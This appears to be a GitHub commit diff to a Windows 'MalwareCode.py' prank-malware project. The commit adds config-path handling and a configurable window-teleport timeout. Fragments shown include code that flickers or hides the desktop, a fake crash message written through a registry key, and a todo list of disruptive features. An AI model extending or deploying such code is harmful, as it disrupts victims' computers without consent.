Skip to content

Commit 11b2753

Browse files
Created MalwareBuilder
Bug Fixes, and updated config.ini path update
1 parent 2e003c7 commit 11b2753

File tree

3 files changed

+9
-9
lines changed

3 files changed

+9
-9
lines changed

MalwareCode.py

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
import shutil
1111
import string
1212
import subprocess
13+
import sys
1314
import threading
1415
import time
1516
import winreg as reg
@@ -28,7 +29,8 @@
2829
config = configparser.ConfigParser()
2930

3031
# Read the config.ini file
31-
config.read('config.ini')
32+
# Validates path if argument is passed for config path
33+
config.read(sys.argv[1] if len(sys.argv) > 1 and os.path.isfile(sys.argv[1]) and sys.argv[1].endswith('config.ini') else 'config.ini')
3234

3335
# ------------------------ Constants Code -------------------------- #
3436

@@ -1788,11 +1790,6 @@ def __bug_desktop():
17881790
while time.time() < end_time:
17891791
# Randomly flicker desktop visibility
17901792
ctypes.windll.user32.ShowWindow(desktop_hwnd, random.choice([5, 0, 1])) # 5: Minimize, 0: Hide, 1: Show
1791-
1792-
# Random background color change for chaos
1793-
random_color = random.choice([random.randint(0, 0xFFFFFF) for _ in range(5)])
1794-
ctypes.windll.user32.SetSysColors(1, (5,), random_color)
1795-
17961793
time.sleep(0.1) # Small delay between chaotic effects
17971794

17981795
def __bug_windows(self):
@@ -1862,7 +1859,7 @@ def __init__(self):
18621859
user32.SetProcessDPIAware()
18631860
self.screen_width = user32.GetSystemMetrics(0) # SM_CXSCREEN
18641861
self.screen_height = user32.GetSystemMetrics(1) # SM_CYSCREEN
1865-
self.TIMEOUT = 2 # TODO: Config.ini
1862+
self.TIMEOUT = config.getfloat("Tomfoolery.WindowTeleport", "TIMEOUT", fallback=1.0)
18661863

18671864
# Teleport windows forever
18681865
def __tp_windows_forever(self):

config.ini

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,3 +62,7 @@ REG_PATH = SOFTWARE\\SysBSOD
6262
REG_KEY = BCC
6363
; Error message to display in the crash log, as well as the cmd [Has not been tested fully]
6464
MESSAGE = The code monkeys at our headquarters are working very hard to fix this!
65+
66+
[Tomfoolery.WindowTeleport]
67+
; Timeout between each teleport in seconds (FLOAT)
68+
TIMEOUT = 0.5

malware todo.txt

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,8 +48,7 @@ Close all applications ✅
4848

4949
Make all features print, not appearing unless VERBOSE is used ✅ (Still flag logic to be implemented)
5050

51-
Use config.ini if script is run raw, show help menu,
52-
If run with a path after the script use the path for the config.ini file
51+
If run with a path after the script use the path for the config.ini file ✅
5352

5453
Handle all errors and exceptions, as needed ✅ (Somewhat done, still needs more work, but I'm happy with it)
5554

0 commit comments

Comments
 (0)